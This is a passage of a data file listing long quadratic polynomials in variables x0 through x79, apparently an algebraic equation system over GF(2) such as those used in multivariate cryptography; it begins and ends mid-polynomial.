x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x72 + x56*x76 + x56*x77 + x56*x78 + x57*x59 + x57*x62 + x57*x65 + x57*x68 + x57*x69 + x57*x70 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x68 + x59*x70 + x59*x73 + x59*x74 + x59*x76 + x59 + x60*x63 + x60*x68 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x75 + x60*x77 + x61*x62 + x61*x63 + x61*x67 + x61*x68 + x61*x69 + x61*x75 + x61*x77 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x68 + x62*x70 + x62*x73 + x62*x74 + x62*x76 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x77 + x63*x78 + x63*x79 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x77 + x65*x69 + x65*x78 + x65*x79 + x65 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x75 + x66 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x79 + x67 + x68*x69 + x68*x71 + x68*x72 + x68*x77 + x68*x78 + x68 + x69*x71 + x69*x72 + x69*x76 + x70*x72 + x70*x74 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x77 + x71*x79 + x71 + x72*x77 + x72*x78 + x73*x74 + x73*x79 + x73 + x74*x75 + x74*x77 + x74 + x75*x76 + x75*x77 + x75 + x76*x78 + x76*x79 + x77*x78 + x78, x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x9 + x0*x11 + x0*x13 + x0*x14 + x0*x17 + x0*x18 + x0*x19 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x30 + x0*x31 + x0*x34 + x0*x35 + x0*x37 + x0*x38 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x55 + x0*x56 + x0*x58 + x0*x60 + x0*x62 + x0*x64 + x0*x67 + x0*x68 + x0*x69 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0 + x1*x2 + x1*x4 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x21 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x34 + x1*x36 + x1*x41 + x1*x43 + x1*x44 + x1*x47 + x1*x49 + x1*x50 + x1*x53 + x1*x56 + x1*x58 + x1*x62 + x1*x64 + x1*x65 + x1*x67 + x1*x68 + x1*x70 + x1*x71 + x1*x73 + x1*x75 + x1*x79 + x2*x3 + x2*x5 + x2*x6 + x2*x12 + x2*x13 + x2*x18 + x2*x19 + x2*x24 + x2*x29 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x40 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x72 + x2*x76 + x2*x77 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x8 + x3*x11 + x3*x14 + x3*x15 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x37 + x3*x40 + x3*x44 + x3*x45 + x3*x48 + x3*x49 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x57 + x3*x58 + x3*x60 + x3*x65 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x74 + x3*x76 + x3 + x4*x5 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x30 + x4*x31 + x4*x32 + x4*x35 + x4*x36 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x50 + x4*x51 + x4*x52 + x4*x54 + x4*x57 + x4*x62 + x4*x64 + x4*x66 + x4*x67 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x26 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x46 + x5*x50 + x5*x51 + x5*x53 + x5*x54 + x5*x57 + x5*x59 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x76 + x5*x79 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x14 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x34 + x6*x38 + x6*x40 + x6*x44 + x6*x45 + x6*x50 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x61 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x70 + x6*x72 + x6*x73 + x6*x75 + x6*x79 + x7*x12 + x7*x13 + x7*x14 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x26 + x7*x27 + x7*x31 + x7*x35 + x7*x37 + x7*x39 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x55 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x66 + x7*x68 + x7*x72 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x11 + x8*x13 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x20 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x64 + x8*x65 + x8*x67 + x8*x72 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x24 + x9*x25 + x9*x32 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x45 + x9*x46 + x9*x48 + x9*x51 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x66 + x9*x68 + x9*x69 + x9*x74 + x9*x76 + x9*x77 + x9*x79 + x9 + x10*x14 + x10*x17 + x10*x18 + x10*x23 + x10*x25 + x10*x30 + x10*x33 + x10*x37 + x10*x41 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x71 + x10*x73 + x10*x76 + x10*x77 + x10*x79 + x10 + x11*x13 + x11*x16 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x42 + x11*x45 + x11*x52 + x11*x54 + x11*x57 + x11*x60 + x11*x62 + x11*x65 + x11*x66 + x11*x70 + x11*x73 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x33 + x12*x37 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x49 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x69 + x12*x70 + x12*x72 + x12*x75 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x22 + x13*x25 + x13*x27 + x13*x28 + x13*x32 + x13*x36 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x74 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x25 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x40 + x14*x42 + x14*x45 + x14*x46 + x14*x49 + x14*x54 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x70 + x14*x72 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x32 + x15*x34 + x15*x36 + x15*x41 + x15*x42 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x61 + x15*x62 + x15*x63 + x15*x67 + x15*x68 + x15*x73 + x15*x76 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x21 + x16*x23 + x16*x25 + x16*x26 + x16*x30 + x16*x33 + x16*x35 + x16*x37 + x16*x38 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x47 + x16*x52 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x63 + x16*x67 + x16*x72 + x16*x73 + x16*x74 + x16*x76 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x26 + x17*x28 + x17*x32 + x17*x34 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x49 + x17*x54 + x17*x55 + x17*x56 + x17*x59 + x17*x61 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x69 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x76 + x17*x78 + x17*x79 + x18*x20 + x18*x25 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x37 + x18*x38 + x18*x41 + x18*x45 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x65 + x18*x68 + x18*x70 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x72 + x19*x74 + x19*x79 + x19 + x20*x21 + x20*x23 + x20*x25 + x20*x26 + x20*x28 + x20*x30 + x20*x31 + x20*x34 + x20*x36 + x20*x39 + x20*x40 + x20*x42 + x20*x44 + x20*x45 + x20*x48 + x20*x50 + x20*x52 + x20*x54 + x20*x57 + x20*x62 + x20*x64 + x20*x70 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x29 + x21*x30 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x45 + x21*x47 + x21*x49 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x62 + x21*x64 + x21*x65 + x21*x66 + x21*x68 + x21*x72 + x21*x74 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x28 + x22*x29 + x22*x31 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x37 + x22*x40 + x22*x41 + x22*x48 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x74 + x22*x77 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x34 + x23*x36 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x50 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x61 + x23*x64 + x23*x65 + x23*x66 + x23*x70 + x23*x72 + x23*x74 + x23*x77 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x36 + x24*x37 + x24*x38 + x24*x42 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x54 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x70 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x33 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x54 + x25*x56 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x47 + x26*x48 + x26*x51 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x67 + x26*x68 + x26*x71 + x26*x72 + x26*x74 + x26*x75 + x26*x77 + x26*x78 + x26 + x27*x29 + x27*x31 + x27*x32 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x40 + x27*x41 + x27*x46 + x27*x49 + x27*x52 + x27*x53 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x68 + x27*x70 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x28*x33 + x28*x35 + x28*x38 + x28*x40 + x28*x42 + x28*x51 + x28*x59 + x28*x60 + x28*x61 + x28*x62 + x28*x66 + x28*x67 + x28*x68 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x77 + x28*x78 + x28*x79 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x43 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x51 + x29*x52 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x70 + x29*x71 + x29*x73 + x29*x74 + x29*x78 + x30*x34 + x30*x36 + x30*x40 + x30*x41 + x30*x43 + x30*x46 + x30*x47 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x58 + x30*x63 + x30*x64 + x30*x71 + x30*x72 + x30*x73 + x30*x76 + x30*x79 + x30 + x31*x33 + x31*x36 + x31*x39 + x31*x42 + x31*x43 + x31*x45 + x31*x47 + x31*x54 + x31*x55 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x67 + x31*x68 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x78 + x31 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x58 + x32*x60 + x32*x62 + x32*x63 + x32*x64 + x32*x65 + x32*x68 + x32*x69 + x32*x71 + x32*x76 + x32 + x33*x35 + x33*x36 + x33*x37 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x55 + x33*x56 + x33*x60 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x69 + x33*x72 + x33*x73 + x33*x74 + x33*x75 + x33*x78 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x51 + x34*x53 + x34*x54 + x34*x61 + x34*x62 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x70 + x34*x71 + x34*x72 + x34*x75 + x34*x76 + x34*x79 + x34 + x35*x37 + x35*x39 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x49 + x35*x52 + x35*x56 + x35*x57 + x35*x61 + x35*x62 + x35*x63 + x35*x68 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x76 + x35*x78 + x35 + x36*x37 + x36*x39 + x36*x42 + x36*x43 + x36*x46 + x36*x47 + x36*x51 + x36*x55 + x36*x56 + x36*x58 + x36*x59 + x36*x63 + x36*x66 + x36*x69 + x36*x71 + x36*x77 + x36 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x51 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x59 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x68 + x37*x69 + x37*x70 + x37*x72 + x37*x74 + x37*x75 + x37*x76 + x37*x79 + x37 + x38*x39 + x38*x42 + x38*x43 + x38*x45 + x38*x46 + x38*x47 + x38*x52 + x38*x54 + x38*x55 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x64 + x38*x68 + x38*x69 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x79 + x39*x41 + x39*x42 + x39*x44 + x39*x48 + x39*x49 + x39*x50 + x39*x52 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x62 + x39*x64 + x39*x69 + x39*x72 + x39*x75 + x39*x76 + x39*x78 + x39*x79 + x40*x41 + x40*x45 + x40*x47 + x40*x48 + x40*x50 + x40*x53 + x40*x58 + x40*x59 + x40*x60 + x40*x62 + x40*x63 + x40*x68 + x40*x70 + x40*x74 + x40*x76 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x45 + x41*x47 + x41*x48 + x41*x50 + x41*x52 + x41*x54 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x64 + x41*x67 + x41*x68 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x75 + x41*x77 + x41*x78 + x42*x43 + x42*x44 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x65 + x42*x66 + x42*x68 + x42*x75 + x42*x76 + x42*x77 + x43*x44 + x43*x47 + x43*x53 + x43*x57 + x43*x58 + x43*x60 + x43*x63 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x74 + x43*x75 + x43*x76 + x43*x78 + x44*x46 + x44*x49 + x44*x52 + x44*x53 + x44*x54 + x44*x58 + x44*x60 + x44*x61 + x44*x62 + x44*x64 + x44*x66 + x44*x74 + x44*x76 + x44*x77 + x44*x79 + x45*x46 + x45*x47 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x63 + x45*x66 + x45*x69 + x45*x70 + x45*x72 + x45*x75 + x45*x76 + x45*x79 + x46*x49 + x46*x51 + x46*x55 + x46*x56 + x46*x59 + x46*x60 + x46*x61 + x46*x63 + x46*x66 + x46*x68 + x46*x70 + x46*x73 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x46 + x47*x51 + x47*x52 + x47*x53 + x47*x56 + x47*x57 + x47*x59 + x47*x60 + x47*x61 + x47*x63 + x47*x64 + x47*x68 + x47*x69 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x58 + x48*x59 + x48*x60 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x75 + x48*x77 + x48*x78 + x49*x50 + x49*x57 + x49*x58 + x49*x62 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x78 + x49 + x50*x51 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x63 + x50*x64 + x50*x69 + x50*x70 + x50*x72 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x51*x53 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x67 + x51*x70 + x51*x71 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x57 + x52*x60 + x52*x64 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x57 + x53*x58 + x53*x59 + x53*x61 + x53*x62 + x53*x63 + x53*x66 + x53*x67 + x53*x69 + x53*x73 + x53*x74 + x53*x75 + x53*x77 + x53*x78 + x53*x79 + x53 + x54*x55 + x54*x57 + x54*x60 + x54*x63 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x73 + x55*x58 + x55*x60 + x55*x65 + x55*x69 + x55*x74 + x55*x79 + x55 + x56*x57 + x56*x59 + x56*x60 + x56*x66 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x74 + x56*x75 + x56*x78 + x56 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x65 + x57*x68 + x57*x69 + x57*x70 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x63 + x58*x64 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x74 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x66 + x59*x68 + x59*x71 + x59*x78 + x60*x63 + x60*x64 + x60*x65 + x60*x68 + x60*x69 + x60*x71 + x60*x72 + x60*x73 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x66 + x61*x67 + x61*x68 + x61*x73 + x61*x74 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x67 + x62*x69 + x62*x70 + x62*x72 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62*x77 + x63*x65 + x63*x68 + x63*x69 + x63*x74 + x63*x77 + x63*x78 + x64*x67 + x64*x68 + x64*x71 + x64*x75 + x64*x76 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x74 + x66*x75 + x66*x76 + x66*x79 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x71 + x68*x73 + x68*x74 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x75 + x69*x77 + x69*x78 + x69 + x70*x74 + x70*x78 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x71*x77 + x71*x78 + x72*x73 + x72*x74 + x72*x75 + x72*x76 + x72*x78 + x72*x79 + x73*x75 + x73*x76 + x73 + x74*x76 + x74 + x75*x76 + x75 + x76*x77 + x77*x79 + x77 + x78 + x79, x0*x7 + x0*x9 + x0*x11 + x0*x15 + x0*x16 + x0*x18 + x0*x20 + x0*x22 + x0*x23 + x0*x25 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x31 + x0*x32 + x0*x36 + x0*x38 + x0*x39 + x0*x40 + x0*x41 + x0*x43 + x0*x46 + x0*x47 + x0*x49 + x0*x61 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x78 + x1*x7 + x1*x16 + x1*x17 + x1*x18 + x1*x24 + x1*x25 + x1*x27 + x1*x29 + x1*x34 + x1*x35 + x1*x36 + x1*x39 + x1*x42 + x1*x43 + x1*x48 + x1*x50 + x1*x52 + x1*x53 + x1*x54 + x1*x62 + x1*x67 + x1*x69 + x1*x71 + x1*x72 + x2*x3 + x2*x5 + x2*x7 + x2*x10 + x2*x11 + x2*x12 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x44 + x2*x46 + x2*x48 + x2*x49 + x2*x50 + x2*x53 + x2*x56 + x2*x58 + x2*x62 + x2*x64 + x2*x65 + x2*x67 + x2*x69 + x2*x71 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x3*x4 + x3*x8 + x3*x9 + x3*x10 + x3*x12 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x22 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x32 + x3*x36 + x3*x44 + x3*x45 + x3*x46 + x3*x49 + x3*x53 + x3*x55 + x3*x56 + x3*x60 + x3*x62 + x3*x63 + x3*x64 + x3*x65 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x74 + x3*x76 + x3 + x4*x7 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x24 + x4*x25 + x4*x27 + x4*x32 + x4*x33 + x4*x34 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x44 + x4*x47 + x4*x48 + x4*x52 + x4*x54 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4 + x5*x7 + x5*x9 + x5*x10 + x5*x13 + x5*x14 + x5*x15 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x24 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x34 + x5*x37 + x5*x39 + x5*x43 + x5*x46 + x5*x47 + x5*x48 + x5*x51 + x5*x54 + x5*x55 + x5*x59 + x5*x61 + x5*x62 + x5*x63 + x5*x66 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x72 + x5*x74 + x5*x76 + x5*x77 + x5*x79 + x6*x7 + x6*x10 + x6*x11 + x6*x15 + x6*x17 + x6*x18 + x6*x21 + x6*x23 + x6*x25 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x61 + x6*x64 + x6*x66 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x77 + x6*x78 + x7*x8 + x7*x10 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x25 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x38 + x7*x41 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x54 + x7*x55 + x7*x59 + x7*x61 + x7*x67 + x7*x68 + x7*x69 + x7*x71 + x7*x72 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x13 + x8*x17 + x8*x19 + x8*x20 + x8*x22 + x8*x24 + x8*x28 + x8*x29 + x8*x30 + x8*x31 + x8*x34 + x8*x37 + x8*x39 + x8*x40 + x8*x43 + x8*x45 + x8*x47 + x8*x48 + x8*x50 + x8*x56 + x8*x57 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x67 + x8*x69 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x19 + x9*x20 + x9*x23 + x9*x26 + x9*x30 + x9*x31 + x9*x32 + x9*x35 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x44 + x9*x46 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x53 + x9*x54 + x9*x55 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x71 + x9*x73 